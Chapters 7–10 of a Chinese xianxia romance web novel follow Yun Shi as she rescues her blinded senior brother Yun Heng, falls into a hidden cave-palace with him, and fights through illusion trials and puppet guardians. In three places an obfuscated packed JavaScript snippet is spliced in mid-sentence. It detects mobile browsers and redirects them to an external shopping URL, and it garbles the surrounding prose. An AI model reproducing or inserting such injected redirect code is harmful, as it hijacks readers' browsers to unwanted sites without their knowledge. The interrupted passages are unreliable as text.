《纯爱文师兄拯救计划》 7. 追上 初初醒来,云蘅的状态可以说糟糕至极,沟通没两句,便捂住胸口急促低咳,好容易缓过气来,朝着云莳的方向低声道歉。 “在下凌云宗云蘅,确不识得道友所言之人。若他们真是为我而来,只怕来者不善……是在下连累道友了。” 可谓字字客气,十分生疏。 云莳心知,以师兄的性子,有此态度不足为奇,毕竟他此刻毫无自保之力,面对一个来历不明的“救命恩人”,自然不会轻易放下戒心。 她也不急,故作豪爽地在他肩头用力一拍,再在他掌心写道:‘无妨,送佛送到西,先离开此地。’ 跟前人也不知信了没信,淡淡牵起嘴角,“好,多谢阁下。” 划字能简单交流,但沟通起来终究不便。而且云蘅五感尽失,仅余微弱触觉,偏生人又清醒了,云莳没法子再像之前那样随心所欲地扛着他到处跑,陌生疏离的两人之间,气氛比他昏迷时差了许多。 可气氛再差,该救的人得救,该跑的路也得跑。云莳回过神来,已经闻见他们离开的方向,远远传来两声震天兽吼,一声沉闷如雷,一声尖锐刺耳—— 正是那巨蟾与骨蟒的打斗声,肯定是苏玉倾操纵着两只妖兽彻底对上了,不然只凭那些修士根本抗不下来。 如此,此人也必定快要脱身,再次追来。云莳将情况简单向云蘅说明,再抱歉写到,自己得背着他赶紧往外跑。 这种情况下,饶是云蘅素来不喜与外人接触,也不可能说出一个“不”字来。 ——无论眼前人是何来历,有什么目的,他如今身上的异样,多半与那合欢宗圣子脱不了干系。而对方能在苏玉倾的追捕下,执意将他从险境中救下,于他而言,便是实打实的恩人。 故而云蘅倾力配合,撑着对方的手站起,再强忍不适,伏在“他”弯下来的脊背上,被其吃力地背起来。 当整个身体离地而起,与对方紧密相贴的刹那,云蘅低垂的眉眼微动。 这样的骨骼轮廓,喘息时的频率,还有纤细而坚韧的臂膀……救他的人,竟是一名女子么? 云莳尚不知道,自己故意混淆身份乃至于性别的做法,已经被身上人识破一半。她听着身后越渐靠近的打斗声,心里越发急切,背紧身上的人便要向谷口冲去。 然而才奔出数丈,背上人忽而闷哼一声,抓紧了她的肩膀,与此同时,后方传来熟悉的铃铃魅音。 那铃声似远还近,飘忽不定,入耳直钻识海,带着令人心神摇曳的奇异力量。 云莳脑中“嗡”的一声,脚下顿时一个踉跄,失去最后逃开的机会。 * 魅音无孔不入,若是寻常修士,此刻怕是早已心神失守、任人宰割。 云莳识海一阵眩晕,狠心咬破舌尖,剧痛让她瞬间清醒,脚下步伐反而更加迅疾。 但这瞬间的迟滞,后头那道红影已飘然逼近至十丈之内。 “果然在这——” 苏玉倾凌空而立,俊美面容上带着一丝猫捉老鼠般的玩味,虽因千幻面遮蔽看不清二人身形,目光却精准地锁定了他们的方位。 “之前便是阁下两次三番坏我好事罢?还想带着我的猎物逃走,未免也太不把我苏玉倾放在眼里了。” 那道爆破符激发前的灵力波动,旁人或许察觉不到,却瞒不过他的知觉。联想到谷口莫名坠下的落石,苏玉倾当即肯定,果然有人暗中跟了他一路,还抢先带走了本该是他笼中之物的云蘅。 此人如此藏头露尾,只敢暗下黑手,恰恰说明其修为远不及自己。如今既已暴露行迹,苏玉倾岂会再容对方逃脱?新仇旧怨,正好一并清算。 云蘅伏在云莳背上,虽五感闭塞,却能清晰感受到身下之人绷紧的身体和猛然回头的动作。 他在剧烈颠簸中揽住她单薄的肩膀,凑近她耳畔,吃力开口,“是苏玉倾追来了么?道友把我放下罢,他既冲着我来,便不会——” 云莳哪里有空搭理他,就着这个动作,干脆地捏了把身上人的大腿,成功让其消音。 她避开身后的攻击,闷头继续跑,但背负一个人,怎么都比不过苏玉倾的速度,很快就被他再次拉近距离。 “轰!” 在她身后,刚刚丢下的符篆兀然激发,尘土混合着混乱的灵力乱流冲天而起。 这个小小埋伏,虽未对后面的人造成实质伤害,却成功阻了他一瞬,更将他一身纤尘不染的红衣弄得灰头土脸。 苏玉倾脸上那惯常的笑意终于完全消失,桃花眼里戾气翻涌。 “本想陪你多玩片刻,既然你自寻死路——” 他指诀一变,粉光大盛,一道凌厉无匹的灵刃直冲云莳而去。 云莳早有防备,一个凌跃险险避开,原先站立之处已被轰出个焦黑深坑。她趁机反手甩出最后一道剑符,精准击中身旁那株枯松的根部。 “咔嚓”,枯松断裂的轰鸣在山谷间回荡,庞大的树干带着万钧之势,朝着苏玉倾的位置重重砸下! 苏玉倾冷哼一声,袖中金铃飞旋而出,灵光暴涨间,金铃化作一座丈许巨钟,钟身符文流转,迎着头顶坠落的巨木撞去,竟要将整棵枯松当场绞碎。 就在此刻,意外陡生。 一阵沉闷的巨响从地底传来。方才接连的爆炸与灵力冲击让这块区域不堪重负,地面轰然塌陷,露出一个深不见底的黑洞。 这变故来得太快,云莳根本来不及反应,脚下一空,便连同背上的云蘅一起坠落。 急速下坠的失重感攫住两人。在混乱与黑暗中,云蘅几乎是凭借本能,将身前那具纤细的身躯紧紧拉入自己怀中。 * 不知过了多久,两人重重摔落在坚硬的地面上。 “呃!”云莳眼前天旋地转,右臂传来一股钻心剧痛,让她忍不住闷哼出声。 熬过这阵,她强撑着支起身子,立刻抬头望去。 头顶并非预想中的裂缝洞口,而是一片完整的、散发着微光的岩石穹顶,宛如天然屏障。 没有苏玉倾追来的身影,也没有任何打斗声息,周围是一片诡异的宁静。 不对,这是什么地方? 入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816112|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目的景象让她怔了怔,想起一同坠落的云蘅,四顾寻找,然后就看到那道白色身影蜷缩在不远处,一动不动。 云莳吓了跳,连忙走过去,小心地将人翻转过来。 男子眉头紧锁,唇边溢出一缕鲜红的血丝,良久方睁开双眼,瞳仁依然空洞无神,比之前更暗淡了两分。 ——适才坠落时,他硬是将她护在怀中,还试图调动仅存的力量缓解冲击,因此加重了内伤。 云莳一边替他把脉,一边急声问:“师、云道友,你现在感觉如何?” 但话一出口才想起他现在听不见,忙又在他掌心快速划写:‘安否?’ 云蘅倚靠在她怀中,勉强点了点头,又艰难地抬手,指尖微颤地指向自己衣襟。 云莳刚刚是急昏头了,看他动作才想起来,也没空客套,伸手在他怀里一顿摸索,果然找到了一个药瓶。 打开一闻,正是凌云宗的疗伤圣药九转还元丹。 最开始,她在山洞找到他时也为他用过此药,可惜这药只对血肉之伤有奇效,对南疆蛊毒这种东西束手无策。 眼下二人皆受了伤,九转还元丹刚好对症。云莳还记得自己“散修”的设定,佯作不知,在他掌心写下询问用法,得到确认后方为二人服下。 丹药入口即化,一股暖流迅速蔓延四肢百骸,她右臂的骨折与他的内伤顿时缓解,二人面色稍好。 调息化解药力后,云莳状态好了些,这时才有余力仔细打量四周。 这一看,她便愣在原地。 这里不但不是什么逼仄洞穴,远比想象中广阔,脚下是光滑如镜的玉石地面,一路延伸到视线尽头,连丝缝隙都难寻。 空气中弥漫的也不是刺鼻瘴气,而是精纯的天地灵气,呼吸间沁人心脾,难怪方才疗伤如此顺利。 云莳站起身,举目远眺,氤氲的灵雾深处,隐约能瞧见巍峨宫殿的轮廓:飞檐斗拱错落排布,静静矗立在那里,透着股历经千年的沉静,让人不敢轻易惊扰。 细听之下,还有潺潺流水声从雾里传来,若有若无,勾得人忍不住遐想,水声尽头会是如何一幅洞天福地。 除此之外,最让她惊奇的,是宫殿上方悬浮的数十团柔和光晕,自有生命般在空中缓缓盘旋,散发出令人心悸的灵力波动。 若她没猜错,这分明是高阶法宝自行透出的宝光,瞧这数量,足以让任何修士为之疯狂。 总之,看了一圈下来,这里哪里是什么绝地,分明像是一处了不得的仙府秘境。 所以说,他们的运气竟这么好,因祸得福,误入了什么隐秘的传承之地吗? 云莳心念一动,不期想起什么,忙在心底唤道:‘系统,系统,你在吗?可知道这是什么地方?’ 然而这一次,回应她的只有寂静。所有呼唤都像石沉大海,没传来半点波动。 系统向来不会无故失联,它是故意不回应,还是……没办法回复她呢? 云莳眸光微沉,因秘境而起的雀跃快速淡去,望着这片过分安静的天地,心底没来由地泛起一阵不安。 8. 仙府 一言以蔽之,这个灵气氤氲的宁静天地,与外面的万骸秘境判若两界。 云蘅伤势略好,稍微恢复行动能力,立在她身边,虽目不能视、耳不能闻,但残存的触觉,可以感知到脚下踩着的坚实地面、空气里流淌的精纯灵气…… 他眉宇微凝,嗓音沉缓,“此地灵气浓厚非常,可看得出是何地方,有什么不妥么?” 话音将落,他的左手便被一片温热握住,掌心传来细微的痒意,近乎触电的敏感,在麻木的知觉里格外清晰。 是身旁人在他掌心写字,利落如金钩银划,带着股认真的劲头。 ‘似芥子仙府,灵气极浓,有殿宇隐在雾中,未见人踪。’ 云蘅静静“听”着掌心传递的信息,垂在身侧的右手微微蜷起,俊容紧绷,垂睫似在思索。 见他这般,云莳以为他有什么头绪,继续向其描述了那些悬浮在空中、散发着强大灵力的光团。 她指尖刚停,身前的人抬起眸,薄唇轻启,却是问了个与眼下境况毫不相干的问题。 “多谢道友告知——一路蒙你舍身相救,还未请教,阁下如何称呼?” 被问得一怔,云莳脑子飞速转动,不能暴露真名,也不能取太随意的假名,她定了定神,一笔一划在他掌心写下,‘风止。’ 所谓君子以止风为教,小人以行火为燎,这二字,权当她是路见不平、惩恶扬善的正义人士罢。 云蘅感受着掌心的划动,安静片刻,修长指节缓缓合拢,好似也将这个名字妥帖收在掌心。 他轻声重复,“风止……好的,风道友。”感应着她的方向,他对她微微一笑,尽管眼眸空茫,一字一句却很郑重。 “风道友救命之恩,云蘅铭记五内。待此次事了,脱离险境,请道友务必随我回返凌云宗,云蘅定当竭力相报。” 他这样的反应和言语,云莳始料未及,判断出云蘅是认真的,她登时头皮发麻。 完了完了,演得太真,师兄真把她当成了素不相识的救命恩人了。 若是日后身份暴露,让他知道她到底干了哪些事,怕是真要完蛋了! 她脸上强装镇定,心里实已乱作一团,正急着琢磨婉拒的理由,另一道声音毫无预兆地响彻这片空间。 ——那道声音并非通过耳膜传来,而是直接回荡在二人识海之中,苍老而威严,令人不由自主地心生敬畏。 “多少年……终有有缘人踏足此地,看来老夫后继有人了。” * 离奇秘境,天外传音,这突如其来的开场,俗套得像极了那些传奇话本里的桥段,在眼下情境又显得合情合理。 那苍老声音响彻识海的刹那,云莳与云蘅皆是心神一凛。 云莳瞬间压下所有杂念,戒备四望,脸上适时露出惊疑与掩藏不住的“心动”。 “不知是哪位前辈在此?此话又是何意?” 她扬声问道,带着三分谨慎两分试探。 那道声音毫无迟疑,淡然回应。 “吾乃此地主人,道号‘玄玑’,本为凌云宗第十三任太上长老,此座‘玄元府’乃吾千年前坐化前所留,存一缕残魂于此,只为等待有缘之人,继承吾之衣钵与这座洞府。” 凌云宗,太上长老?出门就遇到了老祖宗,这么巧的吗?? 云莳先是一惊,旋即在脑海中飞速检索翻阅过的宗门典籍与历代祖师名录。 奈何她对枯燥的历史课业总是不甚上心,书到用时方恨少,眼下也无法立刻确认这“玄玑”道号,是否真的属于某位早已作古的宗门前辈。 幸好,还有个向来被誉为“宗门典范”的云蘅也在这里。 由于老者的声音直接传进识海中,云蘅自然也清晰“听”见了,敏锐地察觉到她的迟疑,对着她的方向,轻微而笃定地点了点头—— 得到师兄的确认,云莳顿时安心,心念急转,面上流露出恰到好处的敬仰与热切。 “原来是仙门正统的前辈,晚辈失敬了!”她像模像样,朝着空中拱手一礼,随即抬眸,厚脸皮地接道,“只是不知,前辈方才所说的‘继承衣钵’,具体是何章程?莫非……” 云莳佯作垂涎,目光扫过空中那些灵光四溢的法宝光团。 “然也。”老者语带傲然,“府中诸般珍藏,灵宝功法,只要通过考验,自然归于传承者所有。” 倘若此话为真,倒着实是份好大的机缘。 云莳先欣喜后为难,“承蒙前辈厚爱,只是……传承者不知是两人还是一人?若是后者,我这位同伴身中奇毒,五感闭塞,行动尚且困难,若要与晚辈同台较量,对他而言,岂非不公?” 那道声音没有马上回答,无形的目光在他们身上流转一圈,才徐徐道:“若是寻常人,自然再无资格。然这位小友灵根纯净,剑骨天成,实乃良才美玉,老夫便破例一回,允你二人同登‘问心路’。” 此话一出,云莳险些没绷住表情:这不是废话么,她家师兄可是凌云宗掌门首徒,公认的剑道奇才,天赋能不好吗? 她暗暗吐槽了句,又转念想到,这未知存在可以隔空看穿修士的根骨,看来确有几分神通。 这时候,一直默默聆听的云蘅忽而开口,神色平静无波。 “如此说来,晚辈与风道友需要接受不同的考验了,敢问前辈,最终要如何判定传承归属?” 一语点破关键。老者哈哈大笑,又倏然停住,十分高深莫测。 “机缘一事,玄奥难言。待你二人踏入其中,自然明了。去吧,莫再迟疑。” 话到最后已带上不容拒绝的催促。 至此,云莳与云蘅不约而同地“对视”一眼——她望进那双空茫的银眸,而他仿佛感知到她的注视般微微侧首。 云莳直接伸手,握住云蘅冰凉的手掌,指尖在他腕间快速划下:“有诈,小心。” 云蘅不动声色地回握住她,眨眼示意自己明白。 两人心照不宣,此刻不宜与这神秘声音正面冲突,无论这天降的机缘是真是假,他们都得亲自走上一遭,才能分晓。 * 没入浓雾深处,华美的宫殿群渐渐显现,琼楼玉宇,飞阁流丹,处处纤尘不染,唯独没有半点生灵气息,静得有些诡异。 此刻他们站在宫殿正下方,一道白玉丹陛笔直向上,其中灵气流转, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816113|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是老者口中的“问心路”。 云莳凝神细看,玉阶上确实布着精妙的仙门阵法,灵气中正平和,与凌云宗一脉相承,与那老者所言倒是吻合。 她将观察结果以划字方式告诉云蘅。云蘅沉吟片刻,摇了摇头,饶是他见多识广,一时也辨不清此地的虚实。 事已至此,只能亲身尝试。云莳当仁不让,在他掌心飞快写下“我先探路”,便径直踏上那道白玉长阶。 云蘅还未及回应,伸出的手便落了空,他愣了愣,唇边无奈牵起。 不得不说,这位“风道友”干脆利落的劲头,倒和他家那个总喜欢不按常理出牌的小师妹颇为相似。 ……话说回来,他下山这些时日,阿莳无人管束,想必玩了个痛快,也不知还记得他这个在外操劳的师兄几分…… 想着想着,云蘅的思绪就莫名飘远。 殊不知,被他惦记着的小师妹,正头也不回踏上险地,紧张里夹杂兴奋,眼看着周遭景象水波般地扭曲变幻。 等视野重新清晰,云莳定睛看去,已置身于又一个陌生场景。 ——不,不能说陌生,应该说是按她记忆里那个寒冬的夜晚复刻出的。 昏暗街道,空旷无人,雪沫纷纷扬扬,久违的寒意冻得她一个激灵。云莳低头看去,果然看到一双冻得通红、满是冻疮的小手,正捧着个破碗,碗里还躺着半个硬邦邦的包子。 她试着活动四肢,虚弱无力的感觉与记忆中如出一辙,仿佛真的变回幼年那个流浪街头的自己。 没等云莳继续研究,黑暗里传来一声响亮的犬吠,紧接着,一只体型对于此刻的她而言、堪称巨硕的黑毛野狗突然窜出,幽绿的眼睛盯住她手上的包子,涎水顺着尖牙滴落。 这狗!!云莳瞪大眼,几乎是下意识把包子揣进怀里,同时将手中的碗狠狠砸向野狗的方向,迈开小短腿就夺命狂奔。 粗重的喘息化作白雾,心脏在瘦弱的胸腔里疯狂擂动,身后的犬吠和利爪刨地的声音却越来越近。 “噗通!” 着急逃跑的云莳被土块绊倒,重重摔在地上,眼冒金星,一时挣扎不起。 下一刻,带着腥臭的热气喷到后颈,身后的野狗发出兴奋吼叫,作势就要扑来。 ——在她本来的记忆里,此时该是那道雪白身影从天而至,袖袍一拂,便将饿极噬人的野犬挥开,随后蹲下身,用手一点点擦去她脸上脏污,温声问她叫什么名字…… 然而,没有。 在这里,没有救赎没有意外,云莳跌倒的瞬间,野狗直接扑了上来,如泰山压顶,一口就咬穿了她瘦小的肩膀。 尖锐的痛楚遽然炸开,疼得她眼前发黑,手指深深抠进身下的泥地里。 这该死的考验,要不要做的这么逼真?!云莳咬牙暗骂,猛地抬头,孩童脸上本该满是惊恐的眸子里,燃着与外表不符的冷静锐利。 这个鬼地方,以为剥夺她的灵力和体魄,就能让幻象杀死她了么?未免太小看她云莳了。 一股狠劲从心底窜起,她不再管自己被撕咬的肩膀,就着这姿势回头,伸出两根手指,用尽全身力气狠狠插进野狗的眼窝里。 9. 傀儡 噗嗤一声,云莳的手指齐根没入野狗头颅,后者顿时“嗷呜”惨嚎,彻底发了狂,甩动头颅想将她摆脱。 然而瘦小的女童像是长在它身上,死活不松手,甚至借着它甩动的力道,张开嘴,用尚且稚嫩的牙齿一口咬住野狗喉咙。 就像被激怒的幼狼,凭借最原始的本能,在地上与这庞大的野兽翻滚、撕扯、搏命。 不知缠斗了多久,这只野狗呜咽了声,身躯抽搐几下,终是没了声息。 过了会,死死咬住它喉咙的云莳倏然松口,坐起身喘气,小脸糊满了血污与犬毛,唯有眼瞳寒亮如星,亮得吓人。 须臾。 黑夜、街道、犬尸……周遭景象寸寸崩解,宛若流沙,消失不见。 视野再次变幻。而后,云莳发现自己坐在长阶顶端、宫殿正前方的广场上,浑身灵气充盈,身形也恢复了原本的模样。 她呼了口气,一下子从地上跳起,拍了拍并无灰尘的衣摆,脸上非但没有惊魂未定,反而意兴阑珊。 云莳低声嘀咕,“什么问心路,这么简单粗暴……还没和尘师叔的浮生阵来得有趣。” 此话刚落,老者的声音又神出鬼没地出现,没有先前那般仙风道骨,低沉中透着阴恻恻的意味。 “——竟看不上老夫的问心路,阁下口气不小。只可惜,你这通关的速度,比起你那位同伴可慢了许多。若按这个进度,传承之位怕是与尔无缘了。” 什么,云蘅也进了幻境,还先她出来了? 云莳微惊,抬头四顾,果然在不远处的浓雾中,找到那道颀长的白色身影。 许是因雾气缭绕,他又太过安静,刚刚才未被发现。 感应到她的目光,那道身影缓缓转过来,雾霭流转间,清隽如玉的容颜若隐若现,依稀是那副波澜不惊的模样。 * 老者的嗓音还在她的识海回荡不休,而现实里,这片白玉广场依旧寂静无声。 云蘅立在前方三丈开外,对云莳的呼喊毫无反应。他空茫的银眸“望”向她所在的方向,旋即沉默转身,继续朝着宫殿那头走去。 “小友,还不快追?”老者迫不及待,带着蛊惑与催促,“谁能率先穿过这片区域,踏入前方大殿取得‘玄元宝珠’,谁便是这仙府唯一的主人。你再不追上去可就来不及了……” 这声音如跗骨之蛆,搅得云莳心神不宁,且云蘅的身影即将被浓雾吞没,云莳看得生急,顾不得许多,拔腿追了上去。 白雾如絮,越发浓重。 云蘅的背影明明就在前方,云莳无论怎么提速追赶,与他仍隔着段不远不近的距离,似乎永远无法触及。 这片广场也远比肉眼所见的更为辽阔,浓稠的雾气不仅遮蔽视线,也混淆了方向感。 片刻过后,她彻底失去云蘅的踪迹,回头也尽是白茫,连来时的路都寻不见了。 就在这时,一股强烈的危机感骤然攥住心脏。 云莳想也不想,反手探入虚空——本命灵剑“凝雪”应召而出,剑身的银亮纹路与云蘅的“玄霜”系出同源,一出鞘便灵光湛然,发出欢悦的清吟。 前方雾气剧烈翻涌,下刻,走出一道深灰色身影,相貌、衣着,甚至连持剑的姿态,都与此刻的她分毫不差,宛如镜中倒影。 唯一不同的是,那张与她一模一样的脸上,挂着抹僵硬微笑,不言不语,抬手便是她最熟悉的入门剑诀“惊鸿式”。 见状,云莳眸光瞬厉,“凝雪”剑顺势迎上。 “铮——!” 双剑相交,发出金石撞击的锐响。一股巨力顺着剑身传来,震得她虎口发麻,不由自主地后退了半步。 对面的“自己”同样被震退,却毫无停滞,再次悍然扑上。一时间,两道完全相同的身影在这白雾中激烈交锋,剑光闪烁,难分高下。 然而数招过后,云莳敏锐地捕捉到对方在招式转换间细微的滞涩,心念急转,故意在施展“流云回风”时卖了个破绽,引得对方挺身刺来。 就在剑尖即将及身的刹那,云莳遽然变招,化守为攻,精准戳向对方心口。 “叮”又是一声脆响,手腕再次被反震得发麻。对方仅被震退数步,胸口凹下一块浅坑,连半点血迹都无,不痛不痒,抬头又冲了上来。 虽然这击没什么效果,云莳眼睛却是一亮,认出对方根本不是活物,而是金铁炼成的傀儡。 这种傀儡显然出自高阶炼器师之手,材质坚硬,力大无穷,且能完美模仿她的剑招,唯一的弱点便是略缺机变。 既知根脚,云莳心神大定。她不再与它硬拼力量,转而凭借更精妙的步法与灵活的剑招与之周旋。 不过十数招,便寻得一个稍纵即逝的空隙,“凝雪”剑挽出一个刁钻的剑花,避开正面格挡,直刺其右臂肘关节的连接处! 一声轻微的碎裂声响起,傀儡持剑的右臂动作一僵,整个身躯随之迟缓。 云莳趁热打铁,剑势再变,横扫其膝关节。傀儡失去平衡,轰然倒地,化作一团精纯的灵气,消散于浓雾之中。 * 费力解决了这只傀儡,云莳喘了口气,不敢耽搁,服下一枚回灵丹便欲继续前行。 岂料刚迈出两步,周围雾气再次波动,这次,竟同时走出了三个手持凝雪剑的“云莳”。 她目光微沉。但事已至此,只能面对。 苦战再度爆发。面对三个能模仿她的剑招、且配合默契的傀儡,云莳左支右绌,再怎么小心,肩头仍不慎被剑风扫过,留下数道血痕。 她下颌紧绷,不顾肩头火辣辣的伤势,将凌云十八式催动到极致,剑光如瀑,在险象环生之际,终于将三个傀儡尽数斩灭。 …… 这场打斗之后,体内灵力消耗大半,云莳捂着伤口大汗淋漓。 就在这时,前方浓雾渐薄,视线尽头,宫殿的飞檐翘角隐约可见。 希望就在眼前,云莳精神一振,正要提气前冲。 “咻——” 一点寒芒破雾而出,比先前所有傀儡的速度还要快上一倍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816114|190888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,犹如闪电,直取她咽喉。 死亡的寒意瞬间笼罩全身!云莳下意识后仰,那道凌厉剑气近乎擦着她的鼻尖掠过。 惊险地避开这击,她仓促回望,只见持剑者雪衣无风自动,容颜清俊绝伦,如覆薄冰。 这次出现的攻击者竟是“云蘅”。 和之前的傀儡一样,这个“云蘅”虽然长相身形与真正的他别无二致,但神情僵硬冰冷,一举一动都透着被操控的木然。 一击落空,他没有给她喘息之机,剑势如潮,绵绵不绝地攻来。 不愧是师兄的傀儡,一手凌云剑法使得出神入化,招式之精妙、衔接之流畅,远非她之前对付的那些东西能比,云莳与之交手便觉不妙。 不过很快,她又发现,这个“云蘅”出招时竟没有灵力灌注,纯粹凭着身体的本能与某种对敌意识在与她纠缠,速度再快、变化再奇,杀伤力也大打折扣。 于是云莳很快稳住阵脚,凭借灵力辅助,渐至占据上风。 最后,她强行提起所剩无几的灵力,不顾自身空门大开,手腕倏地一振,凝雪剑化作银虹,直取对方眉心灵枢! ——这里是傀儡的枢纽所在,只要刺中,便可令其彻底瘫痪。 就在剑尖即将透体而入的刹那,跟前人似有所感,停下所有动作,那双原本空洞无神的眸子极轻微地颤动了下。 云莳心底没有缘由地一悸。 电光石火间,她凭着超越理智的本能,硬生生逆转了已发出的剑势,灵力骤然反噬,她踉跄着倒退数步,胸口气血翻涌。 云莳捂着闷痛的胸口,惊疑不定地望向那僵立在原地的“傀儡”,一个荒谬的念头如惊雷炸开,不及细想,快步上前,一把就按在对方的左侧胸膛上。 掌心之下,是“砰砰砰”的急促心跳,伴随着血液奔涌的震颤,顺着指尖直抵心尖。 这压根不是傀儡,是活生生的人——所以,刚刚她差点就亲手杀了云蘅! 这个认知让云莳瞳孔紧缩,巨大的后怕和怒火汹涌而来,指尖禁不住发抖。 此时,跟前人也耗尽最后一点气力,修长身躯乍然软下,向着她直直倾倒。 云莳手忙脚乱地把人接住,那双失焦的银眸仍在颤动,他抬手抓住她的另一只手,力气大得不像话。 总算挣脱了冥冥中那股力量的控制,云蘅喉结滚动,艰难地挤出几个字。 “是魔、非道……不可信祂。” 尾音落下的刹那,四周浓雾仿若潮水般全部退却。 他们跟前,一座圆塔般的建筑巍然显现,三重飞檐如玄鸟展翅,朱红殿柱上螭纹游走,殿门上方悬着块乌金匾额,赫然写着“玄元殿”三字。 与此同时,清越钟声自空中响起,一声接着一声,绵延不绝,震得人灵台发颤,气血翻涌。 那道苍老浑厚的声音不再只响于识海,而是伴随着钟鸣,响彻此地的每一个角落。 “尔等已通过问心路,需前往玄元殿取得‘玄元宝珠’,失败者,立即诛杀!” 10. 并肩 语毕,老者的声音彻底消失,殿门响起长长的“吱呀”声,自行打开,内里漆黑深邃,犹如巨兽张开的大口。 此情此景,云莳只能深吸一口气,顾不上其他,先将云蘅搀扶起来。 面对洞开的玄元殿,二人都不是蠢人,知道里头定然是龙潭虎穴,杀机四伏。 云莳心神清明,奇异地没有畏惧,摊开云蘅的手,在他掌心缓慢而清晰地划下一句:‘我做你的眼与耳,同进同退,共度此关。’ 云蘅仍是容色苍白,握住她这句承诺,眉宇间掠过一丝怔忪,沉默顷刻,朝着她气息的方向,缓缓扬起唇角。 他亦对着这位“风道友”颔首,短促地笑了笑,“好,便让我们看看,这位‘前辈’究竟有何神通罢。” 待气力稍复,二人仍是双手相握,步步踏上台阶,迈入殿门里。 在他们走入玄元殿的瞬间,呼地一下,大殿两侧及穹顶上,一盏盏鎏金长明灯次第亮起,悬浮在半空,将广阔的大殿映得通明。 正前方,矗立着一座高大及顶的神像,赤面髯须,身披金甲,外罩红袍,其左手掐诀隐有风雷之势,右手高擎一柄金铜钢鞭,威武凛然,正气磅礴。 此像正是道家赫赫有名的护法神将,执掌纠察三界,收瘟摄毒,赏善罚恶,居高临下地俯视着殿中渺小的二人。 在神像额头正中央,那颗象征着洞察幽冥的天眼内,镶嵌着一枚拳头大小、流光溢金的宝珠,灵力柔和深沉,散发出心跳般的波动,正是整座仙府传承的核心,玄元宝珠。 云莳快速将所见景象告诉云蘅,云蘅凝神感知,“灵力波动暗合阵法轨迹,应是‘守灵天锁阵’……此阵遇强则强,蛮力难破,需以凌云宗秘传的破阵诀才能解开。” 他沉下声音,“此诀我可以马上传与你,但必须近距离靠近阵眼处的宝珠方能奏效。” 云莳也感觉到了,殿内禁制重重,连她体内的灵气运转都滞涩许多,无法借助外力凌空而起——她仰起头,望向数十丈高的神像,面目模糊难辨,只有威压如有实质地笼罩下来。 云莳眯起眼:既然这地方不让用御风术,她大不了就手脚并用地爬上去,还不信就过不了这关了。 打定主意,她当即让云蘅将破阵诀传给她(毕竟宗门课程还没学到这种高阶阵法),好歹没白当人师妹一回,云莳上手就会,草草准备了下,正要撸袖子开干,忽然敏锐地捕捉到一声异响。 从神像后方的阴影传来,像是木头摩擦又像是什么动物的叫声。云莳脸色顿变,抓住云蘅的手指向那个方向,并迅速划字:‘敌袭!’ 不待他们反应,无数“吱吱”声响起,下一刻,成百上千只傀儡鼠从神像基座后钻出来,密密麻麻如同潮水,每一只都有成人脑袋大小,猩红的眼珠死死盯着两人。 无需多言,云莳与云蘅同时转身,后背紧贴,握剑以待,形成了一个无死角的防御圈子。 第一波鼠潮已扑至面前。为首那只猛地跃起,尖嘴大张露出锯齿般的钢牙,咬上一口便是一个血窟窿。云莳瞅准目标,凝雪剑横斩而出,“嗤”的一声,傀儡鼠应声断成两截,露出内里的木质齿轮,滚落在地后,猩红眼珠便暗了下去。 然后更多的傀儡鼠接踵而至。它们很快便知道不能正面对抗,从两侧包抄,沿着地面窜向他们的脚踝,动作快得只剩残影。 云莳的剑光恍若匹练挥洒,所过之处碎屑纷飞,却仍有漏网之鱼趁隙而入。 云蘅虽目不能视,耳不能闻,对气机的感知却敏锐得惊人。他手中玄霜剑化作一道银光,没有灵力加持,全凭巧劲与直觉,剑尖总能恰到好处地刺入傀儡鼠的要害,令其瞬间瘫痪。 两人全神贯注,在鼠潮中勉力支撑。这些傀儡鼠虽单个不强,胜在数量多、动作快,且有着一口铁齿钢牙,二人但凡有一丝疏忽,就会被活活啃成骨架子。 云莳能感觉到灵力正飞速流逝,防守的圈子越缩越小。这样下去,迟早要被这些无穷无尽的傀儡耗死在这里。 就在又一次劈开扑来的傀儡鼠时,她眼角余光扫过满地木屑,又瞥见空中的长明灯,突然有了主意,回头拍向云蘅肩膀,并指了指上面。 对方身形微顿,刹那间心有灵犀,仓促间朝她点了点头。 云莳便不再管袭来的傀儡鼠,足尖轻点地面跃起,一脚踩在云蘅肩头,后者立刻沉肩发力,将她猛地朝上一送。 下刻,云莳如飞燕腾空,手中凝雪剑精准挑向最近的长明灯,直接拽下了一长串的金色灯盏,带着点点火星如雨坠落。 她毫不犹豫,凌空旋身,狠狠拍中最前方的那盏,盏盏相连,瞬间化作一条火龙,直扑下方的鼠群! 